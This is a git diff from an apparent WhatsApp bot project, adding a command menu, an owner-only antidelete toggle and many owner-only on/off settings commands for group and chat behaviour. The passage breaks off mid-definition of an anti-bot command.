+โ”‚๐Ÿ“– COMMAND: .ig +โ”‚โ„น๏ธ Download video from ig +โ”‚ +โ”‚๐Ÿ“– COMMAND: .gdrive +โ”‚โ„น๏ธ Download drive files +โ”‚ +โ”‚๐Ÿ“– COMMAND: .wamod +โ”‚โ„น๏ธ Download wamod apk +โ”‚ +โ”‚๐Ÿ“– COMMAND: .img +โ”‚โ„น๏ธ Download image +โ”‚ +โ”‚๐Ÿ“– COMMAND: .darama +โ”‚โ„น๏ธ Download full episode video +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โฆ + +*โ•ญโ”€โ”€โฎ SEARCH COMMANDS โฏ* +โ”‚ +โ”‚๐Ÿ“– COMMAND: .yts +โ”‚โ„น๏ธ Serch videos from yt +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โฆ + +*โ•ญโ”€โ”€โฎโ€ MAIN COMMANDS โฏ* +โ”‚ +โ”‚๐Ÿ“– COMMAND: .alive +โ”‚โ„น๏ธ Check online or not +โ”‚ +โ”‚๐Ÿ“– COMMAND: .ping +โ”‚โ„น๏ธ Check bot speed +โ”‚ +โ”‚๐Ÿ“– COMMAND: .menu +โ”‚โ„น๏ธ Nero main menu +โ”‚ +โ”‚๐Ÿ“– COMMAND: .menu2 +โ”‚โ„น๏ธ Nero main menu2 +โ”‚ +โ”‚๐Ÿ“– COMMAND: .ai +โ”‚โ„น๏ธ chat with ai bot +โ”‚ +โ”‚๐Ÿ“– COMMAND: .system +โ”‚โ„น๏ธ check bot systems +โ”‚ +โ”‚๐Ÿ“– COMMAND: .owner +โ”‚โ„น๏ธ get owner info +โ”‚ +โ”‚๐Ÿ“– COMMAND: .status +โ”‚โ„น๏ธ check bot runtime +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โฆ + +*โ•ญโ”€โ”€โฎ OTHER COMMANDS โฏ* +โ”‚ +โ”‚๐Ÿ“– COMMAND: .hirunews/news +โ”‚โ„น๏ธ Get news result for life +โ”‚ +โ”‚๐Ÿ“– COMMAND: .wabeta +โ”‚โ„น๏ธ Get whatsapp beta news +โ”‚ +โ”‚๐Ÿ“– COMMAND: .sitech +โ”‚โ„น๏ธ Get tech news +โ”‚ +โ”‚๐Ÿ“– COMMAND: .nasa +โ”‚โ„น๏ธ Get nasa news +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โฆ + +*โ•ญโ”€โ”€โฎ GROUP COMMANDS โฏ* +โ”‚ +โ”‚๐Ÿ“– COMMAND: .mute +โ”‚โ„น๏ธ Mute group +โ”‚ +โ”‚๐Ÿ“– COMMAND: .unmute +โ”‚โ„น๏ธ Unmute group +โ”‚ +โ”‚๐Ÿ“– COMMAND: .left +โ”‚โ„น๏ธ left group +โ”‚ +โ”‚๐Ÿ“– COMMAND: .jid +โ”‚โ„น๏ธ group jid +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โฆ + +*โ•ญโ”€โ”€โฎ OWNER COMMANDS โฏ* +โ”‚ +โ”‚๐Ÿ“– COMMAND: .update +โ”‚โ„น๏ธ update bot velue +โ”‚ +โ”‚๐Ÿ“– COMMAND: .restart +โ”‚โ„น๏ธ restart your bot +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โฆ + +*โ•ญโ”€โ”€โฎ CONVERT COMMANDS โฏ* +โ”‚ +โ”‚๐Ÿ“– COMMAND: .sticker +โ”‚โ„น๏ธ convert photo to sticker +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โฆ + + +> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช๐Ÿ* + +โ•ฐโ”โ โ•โ•โ• โƒโ€ขโ‡†โ€ขโƒ โ•โ•โ• โโ”โ•ฏ` + +await conn.sendMessage(from,{image:{url: config.ALIVE_IMG},caption:madeMenu, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: 'โ˜‡ ๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ โƒช๐Ÿค–แชณแชณอŽ๐†ผ', + serverMessageId: 999 + } + } +}, { quoted: mek }); +} catch (e) { +console.log(e) +reply(`${e}`) +} +}) diff --git a/plugins/misc.js b/plugins/misc.js new file mode 100644 index 0000000000000000000000000000000000000000..5614917471f9f646e134cf3ecacf58108cd7c9f8 --- /dev/null +++ b/plugins/misc.js @@ -0,0 +1,66 @@ +const axios = require('axios'); +const config = require('../config'); +const { cmd, commands } = require('../command'); +const util = require("util"); +const { getAnti, setAnti, initializeAntiDeleteSettings } = require('../data/antidel'); + +initializeAntiDeleteSettings(); + +cmd({ + pattern: "antidelete", + alias: ['antidel', 'ad'], + desc: "Sets up the Antidelete", + category: "misc", + filename: __filename +}, +async (conn, mek, m, { from, reply, q, text, isOwner, fromMe }) => { + if (!isOwner) return reply('*๐Ÿ“› แด›สœษชs แด„แดแดแดแด€ษดแด… ษชs แดษดสŸส า“แดส€ แด›สœแด‡ ส™แดแด› แดแดกษดแด‡ส€*'); + try { + const command = q?.toLowerCase(); + + switch (command) { + case 'off': + await setAnti('gc', false); + await setAnti('dm', false); + return reply('*แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ ษชs ษดแดแดก แดา“า“ ษขส€แดแดœแด˜ แด„สœแด€แด›s แด€ษดแด… แด…ษชส€แด‡แด„แด› แดแด‡ssแด€ษขแด‡s.*'); + + case 'off gc': + await setAnti('gc', false); + return reply('*แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ า“แดส€ ษขส€แดแดœแด˜ แด„สœแด€แด›s ษชs ษดแดแดก แด…ษชsแด€ส™สŸแด‡แด….*'); + + case 'off dm': + await setAnti('dm', false); + return reply('*แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ า“แดส€ แด…ษชส€แด‡แด„แด› แดแด‡ssแด€ษขแด‡s ษชs ษดแดแดก แด…ษชsแด€ส™สŸแด‡แด….*'); + + case 'gc': + const gcStatus = await getAnti('gc'); + await setAnti('gc', !gcStatus); + return reply(`*แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ า“แดส€ ษขส€แดแดœแด˜ แด„สœแด€แด›s ${!gcStatus ? 'แด‡ษดแด€ส™สŸแด‡แด…' : 'แด…ษชsแด€ส™สŸแด‡แด…'}.*`); + + case 'dm': + const dmStatus = await getAnti('dm'); + await setAnti('dm', !dmStatus); + return reply(`*แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ า“แดส€ แด…ษชส€แด‡แด„แด› แดแด‡ssแด€ษขแด‡s ${!dmStatus ? 'แด‡ษดแด€ส™สŸแด‡แด…' : 'แด…ษชsแด€ส™สŸแด‡แด…'}.*`); + + case 'on': + await setAnti('gc', true); + await setAnti('dm', true); + return reply('*แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ แดแด‡sษข sแด‡แด› า“แดส€ แด€สŸสŸ แด„สœแด€แด›s.*'); + + case 'status': + const currentDmStatus = await getAnti('dm'); + const currentGcStatus = await getAnti('gc'); + return reply(`*แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ sแด›แด€แด›แดœs*\n\n*แด…แด แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡:* ${currentDmStatus ? '*แด‡ษดแด€ส™สŸแด‡แด…*' : '*แด…ษชsแด€ส™สŸแด‡แด…*'}\n*ษขส€แดแดœแด˜ แด„สœแด€แด› แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡:* ${currentGcStatus ? '*แด‡ษดแด€ส™สŸแด‡แด…*' : '*แด…ษชsแด€ส™สŸแด‡แด…*'}`); + + default: + const helpMessage = `*โ•ญโ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”‰โ”ˆโš†*\n*โ”‚เฑ€๐€๐๐“๐ˆ๐ƒ๐„๐‹๐„๐“๐„ ๐‚๐Œ๐ƒ ๐†๐”๐ˆ๐ƒ๐„เฑ€*\n*โ”‚โ€ข ANTIDELETE ON:*\n*โ”‚โ˜‡ แด‡ษดแด€ส™สŸแด‡ แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ แด€สŸสŸ แด„สœแด€แด›s*\n*โ”‚โ€ข ANTIDELETE OFF:*\n*โ”‚โ˜‡ แด…ษชsแด€ส™สŸแด‡แด… แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ แด€สŸสŸ แด„สœแด€แด›s*\n*โ”‚โ€ข ANTIDELETE SET GC:*\n*โ”‚โ˜‡ แด›แด แด‡ษดแด€ส™สŸแด‡ แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ ษขแด„ แด„สœแด€แด›*\n*โ”‚โ€ข ANTIDELETE SET DM:*\n*โ”‚โ˜‡ แด›แด แด‡ษดแด€ส™สŸแด‡ แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ แด…แด แด„สœแด€แด›s*\n*โ”‚โ€ข ANTIDELETE OFF GC:*\n*โ”‚โ˜‡ แด…ษชsแด€ส™สŸแด‡แด… แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ า“แดส€ ษขแด„ แด„สœแด€แด›s*\n*โ”‚โ€ข ANTIDELETE OFF DM:*\n*โ”‚โ˜‡ แด…ษชsแด€ส™สŸแด‡แด… แด€ษดแด›ษชแด…แด‡สŸแด‡แด›แด‡ า“แดส€ แด˜แด แดแด‡sษข*\n*โ”—โ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”‰โ”ˆโš†*`; + + return reply(helpMessage); + } + } catch (e) { + console.error("Error in antidelete command:", e); + return reply("An error occurred while processing your request."); + } +}); + + diff --git a/plugins/mng-enabled.js b/plugins/mng-enabled.js new file mode 100644 index 0000000000000000000000000000000000000000..b5dec012cd434aa600697e3f1ea8f0ee272d78af --- /dev/null +++ b/plugins/mng-enabled.js @@ -0,0 +1,915 @@ +//--------------------------------------------------------------------------- +// ALI-MD +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +const fs = require("fs"); +const path = require("path"); +const config = require("../config"); +const { cmd, commands } = require("../command"); + +let antilinkAction = "off"; // Default state +let warnCount = {}; // Track warnings per user + +cmd({ + pattern: "admin-status", + alias: ["adminstatus"], + desc: "Enable or disable admin event notifications", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (status === "on") { + config.ADMIN_STATUS = "true"; + return reply("*โœ… Admin status notifications are now enabled.*"); + } else if (status === "off") { + config.ADMIN_STATUS = "status"; + return reply("*โŒ Admin event notifications are now disabled.*"); + } else { + return reply(`*Example: .admin-status on*`); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "welcome", + alias: ["welcomeset"], + desc: "Enable or disable welcome messages for new members", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (status === "on") { + config.WELCOME = "true"; + return reply("*โœ… Welcome messages are now enabled.*"); + } else if (status === "off") { + config.WELCOME = "false"; + return reply("*โŒ Welcome messages are now disabled.*"); + } else { + return reply(`*Example: .welcome on*`); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "good-bye", + alias: ["goodbye"], + desc: "Enable or disable goodbye messages for new members", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (status === "on") { + config.GOODBYE = "true"; + return reply("*โœ… goodbye messages are now enabled.*"); + } else if (status === "off") { + config.GOODBYE = "false"; + return reply("*โŒ goodbye messages are now disabled.*"); + } else { + return reply(`*Example: .goodbye on*`); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "auto-react", + alias: ["autoreact"], + desc: "Enable or disable autoreact", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (status === "on") { + config.AUTO_REACT = "true"; + return reply("*โœ… autoreact feature is now enabled.*"); + } else if (status === "off") { + config.AUTO_REACT = "false"; + return reply("*โŒ autoreact feature is now disabled.*"); + } else { + return reply(`*Example: .autoreact on*`); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "owner-react", + alias: ["ownerreact"], + desc: "Enable or disable owner react", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (status === "on") { + config.OWNER_REACT = "true"; + return reply("*โœ… owner-react feature is now enabled.*"); + } else if (status === "off") { + config.OWNER_REACT = "false"; + return reply("*โŒ owner-react feature is now disabled.*"); + } else { + return reply(`*Example: .owner-react on*`); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "setprefix", + alias: ["prefix"], + desc: "Change bot prefix.", + category: "settings", + filename: __filename +}, async (conn, mek, m, { + from, + args, + isCreator, + reply +}) => { + if (!isCreator) return reply("*๐Ÿ“› Only the owner can use this command!*"); + if (!args[0]) return reply("โŒ Please provide a new prefix."); + const newPrefix = args[0]; + config.PREFIX = newPrefix; + // Save config to file + fs.writeFileSync('./config.json', JSON.stringify(config, null, 2)); + reply(`*Prefix changed to:* ${newPrefix}`); + const { exec } = require("child_process"); + reply("*_successfully set_*"); + await sleep(1500); + exec("pm2 restart all"); + reply("*_ALI-MD STARTED NOW...๐Ÿš€_*"); +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "mention-reply", + alias: ["menetionreply", "mee"], + description: "Set bot status to always online or offline.", + category: "settings", + filename: __filename + }, + async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Check the argument for enabling or disabling the anticall feature + if (args[0] === "on") { + config.MENTION_REPLY = "true"; + return reply("Mention Reply feature is now enabled."); + } else if (args[0] === "off") { + config.MENTION_REPLY = "false"; + return reply("Mention Reply feature is now disabled."); + } else { + return reply(`_example: .mee on_`); + } + }); + //--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- + cmd({ + pattern: "auto-voice", + alias: ["autovoice"], + description: "Set bot status to always online or offline.", + category: "settings", + filename: __filename + }, + async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Check the argument for enabling or disabling the anticall feature + if (args[0] === "on") { + config.AUTO_VOICE = "true"; + return reply("*auto-voice feature is now enabled.*"); + } else if (args[0] === "off") { + config.AUTO_VOICE = "false"; + return reply("*auto-voice feature is now disabled.*"); + } else { + return reply(`_example: .auto-voice on_`); + } + }); + //--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "mode", + desc: "Set bot mode to private or public.", + category: "settings", + filename: __filename, +}, async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› Only the owner can use this command!*"); + + // Si aucun argument n'est fourni, afficher le mode actuel et l'usage + if (!args[0]) { + return reply(`๐Ÿ“Œ Current mode: *${config.MODE}*\n\nUsage: .mode private OR .mode public`); + } + + const modeArg = args[0].toLowerCase(); + + if (modeArg === "private") { + config.MODE = "private"; + return reply("*_BOT MODE IS NOW SET TO PRIVATE โœ…_*."); + } else if (modeArg === "public") { + config.MODE = "public"; + return reply("*_BOT MODE IS NOW SET TO PUBLIC โœ…_*.") + const {exec} = require("child_process") +reply("*_RESTARTING NOW...๐Ÿš€_*") +await sleep(1500) +exec("pm2 restart all") +reply("*_ALI-MD STARTED NOW...๐Ÿš€_*"); + } else { + return reply("โŒ Invalid mode. Please use `.mode private` or `.mode public`."); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "auto-typing", + alias: ["autotyping"], + description: "Enable or disable auto-typing feature.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (!["on", "off"].includes(status)) { + return reply("*๐ŸซŸ แด‡xแด€แดแด˜สŸแด‡: .แด€แดœแด›แด-แด›สแด˜ษชษดษข แดษด*"); + } + + config.AUTO_TYPING = status === "on" ? "true" : "false"; + return reply(`Auto typing has been turned ${status}.`); +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "always-online", + alias: ["alwaysonline"], + description: "Set bot status to always online or offline.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (!["on", "off"].includes(status)) { + return reply("*๐ŸซŸ แด‡xแด€แดแด˜สŸแด‡: .แด€สŸแดกแด€สs-แดษดสŸษชษดแด‡ แดษด*"); + } + + config.ALWAYS_ONLINE = status === "on" ? "true" : "false"; + await conn.sendPresenceUpdate(status === "on" ? "available" : "unavailable", from); + return reply(`Bot is now ${status === "on" ? "online" : "offline"}.`); +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "auto-recording", + alias: ["autorecoding"], + description: "Enable or disable auto-recording feature.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + if (!["on", "off"].includes(status)) { + return reply("*๐ŸซŸ แด‡xแด€แดแด˜สŸแด‡: .แด€แดœแด›แด-ส€แด‡แด„แดส€แด…ษชษดษข แดษด*"); + } + + config.AUTO_RECORDING = status === "on" ? "true" : "false"; + if (status === "on") { + await conn.sendPresenceUpdate("recording", from); + return reply("Auto recording is now enabled. Bot is recording..."); + } else { + await conn.sendPresenceUpdate("available", from); + return reply("Auto recording has been disabled."); + } +}); +//-------------------------------------------- +// AUTO_VIEW_STATUS COMMANDS +//-------------------------------------------- +cmd({ + pattern: "auto-seen", + alias: ["autostatusview"], + desc: "Enable or disable auto-viewing of statuses", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Default value for AUTO_VIEW_STATUS is "false" + if (args[0] === "on") { + config.AUTO_VIEW_STATUS = "true"; + return reply("Auto-viewing of statuses is now enabled."); + } else if (args[0] === "off") { + config.AUTO_VIEW_STATUS = "false"; + return reply("Auto-viewing of statuses is now disabled."); + } else { + return reply(`*๐ŸซŸ แด‡xแด€แดแด˜สŸแด‡: .แด€แดœแด›แด-sแด‡แด‡ษด แดษด*`); + } +}); +//-------------------------------------------- +// AUTO_LIKE_STATUS COMMANDS +//-------------------------------------------- +cmd({ + pattern: "status-react", + alias: ["statusreact"], + desc: "Enable or disable auto-liking of statuses", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Default value for AUTO_LIKE_STATUS is "false" + if (args[0] === "on") { + config.AUTO_LIKE_STATUS = "true"; + return reply("Auto-liking of statuses is now enabled."); + } else if (args[0] === "off") { + config.AUTO_LIKE_STATUS = "false"; + return reply("Auto-liking of statuses is now disabled."); + } else { + return reply(`Example: . status-react on`); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "anti-call", + alias: ["anticall"], + desc: "Enable or disable anti-call of statuses", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Default value for AUTO_LIKE_STATUS is "false" + if (args[0] === "on") { + config.ANTI_CALL = "true"; + return reply("anti-call of statuses is now enabled."); + } else if (args[0] === "off") { + config.ANTI_CALL = "false"; + return reply("anti-call of statuses is now disabled."); + } else { + return reply(`Example: .anti-call on`); + } +}); +//-------------------------------------------- +// READ-MESSAGE COMMANDS +//-------------------------------------------- +cmd({ + pattern: "read-message", + alias: ["autoreadmessage"], + desc: "enable or disable readmessage.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Check the argument for enabling or disabling the anticall feature + if (args[0] === "on") { + config.READ_MESSAGE = "true"; + return reply("readmessage feature is now enabled."); + } else if (args[0] === "off") { + config.READ_MESSAGE = "false"; + return reply("readmessage feature is now disabled."); + } else { + return reply(`_example: .readmessage on_`); + } +}); +//-------------------------------------------- +// ANI-BAD COMMANDS +//-------------------------------------------- +cmd({ + pattern: "anti-bad", + alias: ["antibadword"], + desc: "enable or disable antibad.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Check the argument for enabling or disabling the anticall feature + if (args[0] === "on") { + config.ANTI_BAD_WORD = "true"; + return reply("*anti bad word is now enabled.*"); + } else if (args[0] === "off") { + config.ANTI_BAD_WORD = "false"; + return reply("*anti bad word feature is now disabled*"); + } else { + return reply(`_example: .antibad on_`); + } +}); +//-------------------------------------------- +// AUTO-STICKER COMMANDS +//-------------------------------------------- +cmd({ + pattern: "auto-sticker", + alias: ["autosticker"], + desc: "enable or disable auto-sticker.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Check the argument for enabling or disabling the anticall feature + if (args[0] === "on") { + config.AUTO_STICKER = "true"; + + } else if (args[0] === "off") { + config.AUTO_STICKER = "false"; + return reply("auto-sticker feature is now disabled."); + } else { + return reply(`_example: .auto-sticker on_`); + } +}); +//-------------------------------------------- +// AUTO-REPLY COMMANDS +//-------------------------------------------- +cmd({ + pattern: "auto-reply", + alias: ["autoreply"], + desc: "enable or disable auto-reply.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Check the argument for enabling or disabling the anticall feature + if (args[0] === "on") { + config.AUTO_REPLY = "true"; + return reply("*auto-reply is now enabled.*"); + } else if (args[0] === "off") { + config.AUTO_REPLY = "false"; + return reply("auto-reply feature is now disabled."); + } else { + return reply(`*๐ŸซŸ แด‡xแด€แดแด˜สŸแด‡: . แด€แดœแด›แด-ส€แด‡แด˜สŸส แดษด*`); + } +}); + +//-------------------------------------------- +// STATUS-REPLY COMMANDS owner-react +//-------------------------------------------- +cmd({ + pattern: "status-reply", + alias: ["autostatusreply"], + desc: "enable or disable status-reply.", + category: "settings", + filename: __filename +}, +async (conn, mek, m, { from, args, isCreator, reply }) => { + if (!isCreator) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด…!*"); + + const status = args[0]?.toLowerCase(); + // Check the argument for enabling or disabling the anticall feature + if (args[0] === "on") { + config.AUTO_STATUS_REPLY = "true"; + return reply("status-reply feature is now enabled."); + } else if (args[0] === "off") { + config.AUTO_STATUS_REPLY = "false"; + return reply("status-reply feature is now disabled."); + } else { + return reply(`*๐ŸซŸ แด‡xแด€แดแด˜สŸแด‡: .sแด›แด€แด›แดœs-ส€แด‡แด˜สŸส แดษด*`); + } +}); +//-------------------------------------------- +// ANTILINK1 COMMANDS +//-------------------------------------------- +cmd({ + pattern: "delete-link", + alias: ["deletelink"], + desc: "Enable or disable anti-link feature in groups", + category: "group", + react: "๐Ÿšซ", + filename: __filename +}, async (conn, mek, m, { from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isCreator, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // Check for group, bot admin, and user admin permissions + if (!isGroup) return reply('This command can only be used in a group.'); + if (!isBotAdmins) return reply('*๐Ÿ“› ฮน ษดั”ั”โˆ‚ ั‚ฯƒ ะฒั” ฮฑษด ฮฑโˆ‚ะผฮนษด ั‚ฯƒ แดœั•ั” ั‚ะฝฮนั• แด„ฯƒะผะผฮฑษดโˆ‚.*'); + if (!isAdmins) return reply('*๐Ÿ“› ฯƒษดโ„“ส gส€ฯƒแดœแด˜ ฮฑโˆ‚ะผฮนษดs ฯƒส€ ั‚ะฝั” ฯƒฯ‰ษดั”ส€ แด„ฮฑษด แดœsั” ั‚ะฝฮนั• แด„ฯƒะผะผฮฑษดโˆ‚.*'); + + // Enable or disable anti-link feature + if (args[0] === "on") { + config.DELETE_LINK = "true"; + await reply("Anti-link feature is now enabled in this group."); + } else if (args[0] === "off") { + config.DELETE_LINK = "false"; + await reply("Anti-link feature is now disabled in this group."); + } else { + await reply(`*Invalid input! Use either 'on' or 'off'. Example:antilinkkick on*`); + } + } catch (error) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${error.message}`); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + pattern: "anti-bot", + alias: ["antibot"], + desc: "Enable Antibot and set action (off/warn/delete/kick)", + category: "group", + filename: __filename +}, async (conn, mek, m, { q, 